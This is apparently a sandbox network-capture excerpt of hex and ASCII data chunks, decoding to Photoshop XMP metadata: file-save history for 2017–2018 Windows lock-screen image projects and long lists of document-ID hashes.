2022-07-01 09:01:55 UTC 3655 IN Data Raw: 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 
5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 70 
73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 36 34 30 38 38 37 32 5f 31 
30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 37 54 30 39 3a 31 30 
3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 
5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 
2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 
Data Ascii: ;File C:\Users\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-
596408872_1080x1920.jpg saved&#xA;2017-04-27T09:10:59-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lock
screen_1080x1920_Portrait.psd saved&#xA;2017-04

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:55 UTC 3679 IN Data Raw: 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 32 31 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 
6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 
63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 37 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3
b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 32 32 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 
55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 
30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 
2d 31 35 54 31 34 3a 34 38 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 
Data Ascii: xA;2017-05-12T16:21:19-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait
7.psd saved&#xA;2017-05-12T16:22:31-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrai
t.psd saved&#xA;2017-05-15T14:48:51-07:00&#x9;F

2022-07-01 09:01:55 UTC 3703 IN Data Raw: 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 68 69 6e 61 2d 57 68 61 74 73 41 70 70 5c 43 48 4f 53 
45 4e 5c 57 68 61 74 73 61 70 70 2d 43 68 69 6e 61 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 31 34 33 33 38 31 34 
30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 33 54 31 35 
3a 32 36 3a 30 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 
5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 68 69 6e 61 2d 57 68 61 74 73 41 70 70 5c 43 48 4f 
53 45 4e 5c 57 68 61 74 73 61 70 70 2d 43 68 69 6e 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 37 38 31 37 38 39 
32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 
Data Ascii: indows10\Windows\China-WhatsApp\CHOSEN\Whatsapp-China_shutterstock_114338140_1080x1920.jpg 
saved&#xA;2017-06-13T15:26:08-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\China-WhatsAp
p\CHOSEN\Whatsapp-China_GettyImages-537817892_1080x1920.jpg saved&#

2022-07-01 09:01:55 UTC 3735 IN Data Raw: 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 33 34 2d 30 37 3a 30 30 26 23 78 
39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 
69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 43 68 6f 73 65 6e 5c 4d 69 78 
65 72 45 6e 67 61 67 65 6d 65 6e 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 36 37 33 33 31 35 5f 3
1 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 
34 3a 35 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 
Data Ascii: ed&#xA;2017-07-26T13:24:34-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-
FY18\Chosen\MixerEngagementFY18_GettyImages-160673315_1080x1920.psd saved&#xA;2017-07-26T13:24:54-0
7:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Microsoft\Mi

2022-07-01 09:01:55 UTC 3798 IN Data Raw: 6e 65 44 72 69 76 65 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 37 34 39 38 36 30 36 33 5f 31 30 38 30 78 
31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 31 34 3a 31 33 2d 
30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 
61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 
41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 
69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 32 
Data Ascii: neDrive_shutterstock_374986063_1080x1920.jpg saved&#xA;2017-08-03T16:14:13-07:00&#x9;File C:\Users
\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF0
1944ED1B7C38B8DF538ECD39C4CCFC.psb saved&#xA;2017-08-03T2

2022-07-01 09:01:55 UTC 3862 IN Data Raw: 74 65 72 73 74 6f 63 6b 5f 34 35 35 32 35 37 34 35 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 
65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 38 54 31 35 3a 30 33 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 
6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 
6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 
4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 
43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
37 2d 30 39 2d 32 38 54 31 37 3a 31 33 3a 30 36 2d 30 37 3a 30 
Data Ascii: terstock_455257450_1080x1920.jpg saved&#xA;2017-09-28T15:03:07-07:00&#x9;File C:\Users\v-lizagh\Ap
pData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38
B8DF538ECD39C4CCFC.psb saved&#xA;2017-09-28T17:13:06-07:0

2022-07-01 09:01:55 UTC 3910 IN Data Raw: 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 
6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 
65 63 6f 76 65 72 5c 5f 45 64 67 65 2d 4a 68 61 72 6b 68 61 6e 64 5f 41 6c 61 6d 79 2d 44 58 44 30 46 47 5f 31 30 38 30 
78 31 39 32 30 35 44 38 45 38 38 41 44 42 32 43 35 41 33 32 37 38 36 45 38 46 35 35 36 37 30 31 30 38 30 45 35 2e 70 
73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 36 54 31 32 3a 35 38 3a 31 34 2d 30 38 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5
c 45 64 67 65 5c 4a 68 61 72 6b 68 61 6e 64 5c 43 48 4f 53 45 4e 
Data Ascii: 9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Edge-Jharkhand
_Alamy-DXD0FG_1080x19205D8E88ADB2C5A32786E8F556701080E5.psb saved&#xA;2017-11-16T12:58:14-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\Jharkhand\CHOSEN

2022-07-01 09:01:55 UTC 3957 IN Data Raw: 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 
34 54 31 31 3a 34 30 3a 31 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 
7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6
e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 44 65 63 32 30 31 37 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 
6e 74 65 72 45 6e 74 44 65 63 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 35 37 39 32 39 37 39 32 5f 31 30 38 30 78 31 
39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 34 31 3a 30 38 2d 30 
38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
Data Ascii: 6_1080x1920.jpg saved&#xA;2017-12-04T11:40:12-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Moment
sInTime\WinterEntertainment\Dec2017\Chosen\Crops\MIT-WinterEntDec_shutterstock_357929792_1080x1920.jpg 
saved&#xA;2017-12-04T11:41:08-08:00&#x9;File C:\Users\

2022-07-01 09:01:55 UTC 4005 IN Data Raw: 32 2d 32 30 54 32 33 3a 33 35 3a 32 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 
72 73 5c 76 2d 6c 69 7a 61 67 68 5c 44 72 6f 70 62 6f 78 20 28 41 71 75 65 6e 74 29 5c 57 69 6e 31 30 2d 4c 6f 63 6b 5f 
53 70 6f 74 6c 69 67 68 74 5c 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 
5f 50 6f 72 74 72 61 69 74 31 32 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 33 
3a 33 36 3a 32 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 
5c 44 72 6f 70 62 6f 78 20 28 41 71 75 65 6e 74 29 5c 57 69 6e 31 30 2d 4c 6f 63 6b 73 63 72 65 65 6e 73 5c 54 65 6d 70 
6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 
Data Ascii: 2-20T23:35:24-08:00&#x9;File C:\Users\v-lizagh\Dropbox (Aquent)\Win10-Lock_Spotlight\Templates\Loc
kscreen_1080x1920_Portrait12.psd saved&#xA;2017-12-20T23:36:29-08:00&#x9;File C:\Users\v-lizagh\Dropbox (Aquen
t)\Win10-Lockscreens\Templates\Lockscreen_1080x
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2022-07-01 09:01:55 UTC 4021 IN Data Raw: 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 38 33 39 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 33 31 54 31 33 3a 33 37 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5
c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 
72 5c 5f 4d 49 54 2d 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 38 
33 39 33 5f 31 30 38 30 78 31 39 32 30 44 30 44 36 37 46 44 43 46 46 41 30 39 44 39 35 37 46 46 34 43 43 41 46 35 34 
41 30 44 46 38 36 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 
Data Ascii: ettyImages-161928393_1080x1920.jpg saved&#xA;2018-01-31T13:37:56-08:00&#x9;File C:\Users\v-lizagh\
AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-WinterOlympics_GettyImages-161928393_
1080x1920D0D67FDCFFA09D957FF4CCAF54A0DF86.psb saved&#xA;2

2022-07-01 09:01:55 UTC 4060 IN Data Raw: 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 33 38 3a 32 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 
6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 
6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 48 6f 6d 65 77 6f 72 6b 41 69 64 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 
54 2d 49 6e 74 6c 5f 48 6f 6d 65 77 6f 72 6b 41 69 64 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 37 36 32 35 35 36 36 
30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 
3a 33 38 3a 33 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 
5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 
Data Ascii: xA;2018-02-15T15:38:27-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MIT-International\HomeworkAid
\CHOSEN\Crops\MIT-Intl_HomeworkAid_shutterstock_376255660_1080x1920.jpg saved&#xA;2018-02-15T15:38:31-
08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\

2022-07-01 09:01:55 UTC 4100 IN Data Raw: 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 
5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 69 78 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 39 32 32 38 32 35 33 31 
34 5f 31 30 38 30 78 31 39 32 30 39 35 37 37 43 42 42 46 41 39 43 35 35 39 33 44 34 30 34 43 37 46 41 42 45 46 45 30 
38 31 30 46 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 35 3a 34 34 3a 34 34 2d 
30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 
64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 52 6f 
75 6e 64 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 69 
Data Ascii: Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Mixer_GettyImages-922825314_1080x1920
9577CBBFA9C5593D404C7FABEFE0810F.psb saved&#xA;2018-03-21T15:44:44-07:00&#x9;File C:\Users\v-lizagh\
MS\Windows10\Microsoft\MixerEngagement-FY18\Round2\_CHOSEN\Crops\Mi

2022-07-01 09:01:55 UTC 4148 IN Data Raw: 41 46 36 45 42 45 32 46 45 32 38 37 33 35 35 43 37 43 45 34 30 31 39 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 30 39 45 36 39 34 33 35 44 32 36 33 30 34 32 34 45 35 33 42 39 34 44 44 39 31 45 42 44 37 43 
34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 30 30 41 41 31 34 39 46 41 33 39 37 37 34 44 30 36 37 
46 38 36 45 33 45 31 43 41 32 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 30 46 42 43 32 41 35 3
9 35 39 37 37 30 31 37 38 45 30 41 34 38 44 30 36 43 38 32 37 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 30 41 31 36 37 37 34 38 38 46 36 30 38 35 32 39 43 37 34 43 33 45 39 44 33 42 45 32 32 36 32 30 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 31 43 35 42 41 30 38 36 33 
Data Ascii: AF6EBE2FE287355C7CE401972C</rdf:li> <rdf:li>09E69435D2630424E53B94DD91EBD7C4</rdf:li> <r
df:li>0A00AA149FA39774D067F86E3E1CA2DE</rdf:li> <rdf:li>0A0FBC2A5959770178E0A48D06C8271D</rdf:li> <r
df:li>0A1677488F608529C74C3E9D3BE22620</rdf:li> <rdf:li>0A1C5BA0863

2022-07-01 09:01:55 UTC 4156 IN Data Raw: 34 43 43 38 30 35 30 33 39 44 36 33 38 39 41 45 44 35 45 35 35 31 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 31 30 33 34 43 31 37 38 36 33 34 44 46 35 45 30 46 42 46 46 46 34 46 33 36 34 35 36 35 44 35 41 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 41 34 33 37 32 32 45 31 46 36 41 31 36 33 30 31 44 46 45 
31 46 30 43 30 42 46 31 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 46 35 41 37 46 33 45 32 3
0 46 34 44 34 45 45 41 36 32 32 35 45 41 38 35 39 44 42 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 
30 33 46 37 39 33 37 30 43 36 42 32 46 45 32 30 41 43 33 33 44 43 37 34 35 42 42 39 46 36 38 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 31 30 34 32 44 36 42 32 34 45 44 36 31 
Data Ascii: 4CC805039D6389AED5E551F2</rdf:li> <rdf:li>1034C178634DF5E0FBFFF4F364565D5A</rdf:li> <rdf
:li>103A43722E1F6A16301DFE1F0C0BF160</rdf:li> <rdf:li>103F5A7F3E20F4D4EEA6225EA859DB56</rdf:li> <rdf
:li>103F79370C6B2FE20AC33DC745BB9F68</rdf:li> <rdf:li>1042D6B24ED61

2022-07-01 09:01:55 UTC 4212 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 31 44 39 46 38 45 42 36 36 31 36 37 37 36 38 45 34 46 30 39 46 46 46 30 39 31 38 
34 44 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 41 33 35 32 35 36 44 31 45 41 42 32 45 32 
44 36 34 37 44 33 46 36 45 33 46 46 42 45 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 43 43 36 4
6 42 35 46 30 38 35 46 39 41 44 41 34 43 31 42 38 46 32 44 33 30 39 38 34 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 31 44 45 36 30 36 46 42 30 43 34 37 35 44 44 34 34 46 37 39 36 43 44 42 37 46 37 42 41 41 32 34 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 46 36 41 43 46 30 43 32 45 34 46 43 35 43 35 37 31 31 41 36 
44 38 31 43 39 31 38 39 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: <rdf:li>1D9F8EB66167768E4F09FFF09184DF67</rdf:li> <rdf:li>1DA35256D1EAB2E2D647D3F6E3FFBE
44</rdf:li> <rdf:li>1DCC6FB5F085F9ADA4C1B8F2D309842F</rdf:li> <rdf:li>1DE606FB0C475DD44F796CDB7F7BAA
24</rdf:li> <rdf:li>1DF6ACF0C2E4FC5C5711A6D81C9189C9</rdf:li> <rdf:

2022-07-01 09:01:55 UTC 4244 IN Data Raw: 31 43 46 37 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 39 30 44 34 43 41 39 32 46 
36 43 44 41 33 39 36 37 42 37 38 38 30 38 42 37 39 39 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 
41 42 42 35 30 31 43 41 42 37 46 46 34 33 32 44 43 39 35 31 39 37 44 30 44 34 39 36 34 45 31 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 42 41 42 39 35 39 41 32 46 33 30 41 36 37 34 36 36 39 36 41 41 46 30 32 32 39 
44 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 46 35 31 36 37 46 31 41 32 35 35 45 37 39 41 
45 31 45 41 45 32 38 43 33 43 32 33 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 43 37 33 31 46 
41 44 34 43 46 41 32 44 36 30 43 32 34 45 30 46 45 32 33 42 32 32 45 44 
Data Ascii: 1CF7DF</rdf:li> <rdf:li>2AB90D4CA92F6CDA3967B78808B799AC</rdf:li> <rdf:li>2ABB501CAB7FF4
32DC95197D0D4964E1</rdf:li> <rdf:li>2ABBAB959A2F30A6746696AAF0229D77</rdf:li> <rdf:li>2ABF5167F1A255
E79AE1EAE28C3C2304</rdf:li> <rdf:li>2AC731FAD4CFA2D60C24E0FE23B22ED

2022-07-01 09:01:55 UTC 4259 IN Data Raw: 3e 33 30 42 33 38 39 42 44 43 39 41 32 34 42 41 31 35 38 44 34 37 31 41 32 44 38 32 33 34 39 34 30 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 42 34 46 36 32 37 38 44 42 42 42 38 33 35 35 38 37 34 46 43 45 
46 38 43 38 35 41 42 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 42 39 36 38 33 33 32 30 37 32 3
7 41 35 30 43 33 41 37 41 36 44 46 46 35 44 37 44 44 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 
43 36 44 42 33 42 42 37 38 37 41 46 38 36 32 46 30 37 32 33 34 33 45 45 43 35 34 44 44 45 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 33 30 43 44 35 46 33 33 44 39 42 41 32 30 42 39 33 38 46 33 35 42 34 44 42 35 39 43 45 36 
35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 44 35 
Data Ascii: >30B389BDC9A24BA158D471A2D8234940</rdf:li> <rdf:li>30B4F6278DBBB8355874FCEF8C85AB36</rdf:li> 
<rdf:li>30B9683320727A50C3A7A6DFF5D7DD0B</rdf:li> <rdf:li>30C6DB3BB787AF862F072343EEC54DDE</rdf:li> <rdf:
li>30CD5F33D9BA20B938F35B4DB59CE65A</rdf:li> <rdf:li>30D5
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2022-07-01 09:01:55 UTC 4291 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 46 45 43 46 46 30 46 38 30 39 37 44 36 38 37 46 34 
42 33 31 37 30 36 30 31 37 33 34 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 33 35 38 39 38 34 
36 46 43 36 46 42 44 34 41 34 39 36 38 45 42 42 32 37 35 31 44 46 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 33 45 34 35 41 37 31 39 34 30 32 36 45 43 31 32 31 41 41 37 38 46 45 41 38 45 38 36 38 42 32 44 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 35 30 35 31 39 38 42 37 45 36 42 32 46 35 36 44 41 44 32 42 36 39 33 
32 37 33 46 37 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 35 30 37 39 37 31 36 41 30 42 45 45 
32 33 32 46 32 41 46 34 46 45 44 43 39 32 34 46 35 45 3c 2f 72 64 66 3a 
Data Ascii: /rdf:li> <rdf:li>3DFECFF0F8097D687F4B31706017342F</rdf:li> <rdf:li>3E3589846FC6FBD4A4968
EBB2751DF99</rdf:li> <rdf:li>3E45A7194026EC121AA78FEA8E868B2D</rdf:li> <rdf:li>3E505198B7E6B2F56DAD2
B693273F7C5</rdf:li> <rdf:li>3E5079716A0BEE232F2AF4FEDC924F5E</rdf:

2022-07-01 09:01:55 UTC 4307 IN Data Raw: 41 45 34 34 43 44 43 32 38 39 39 42 41 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 
30 35 43 36 37 37 36 44 33 44 44 41 32 44 35 38 38 37 34 32 33 32 35 44 31 39 33 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 34 41 41 35 30 45 33 36 37 38 34 45 44 43 37 39 30 39 39 32 30 42 44 32 46 46 33 44 37 36 35 
35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 45 36 46 37 43 37 39 43 35 41 38 43 36 32 41 34 45 3
7 32 46 31 36 45 32 43 37 41 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 46 46 41 35 43 33 42 
44 42 45 39 30 41 33 44 46 46 39 39 35 31 44 36 46 46 45 33 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 34 41 42 34 39 37 41 32 36 41 34 41 43 32 32 33 31 46 39 33 34 45 
Data Ascii: AE44CDC2899BA58</rdf:li> <rdf:li>4AA05C6776D3DDA2D588742325D193A7</rdf:li> <rdf:li>4AA50
E36784EDC7909920BD2FF3D7655</rdf:li> <rdf:li>4AAE6F7C79C5A8C62A4E72F16E2C7A7C</rdf:li> <rdf:li>4AAFF
A5C3BDBE90A3DFF9951D6FFE397</rdf:li> <rdf:li>4AB497A26A4AC2231F934E

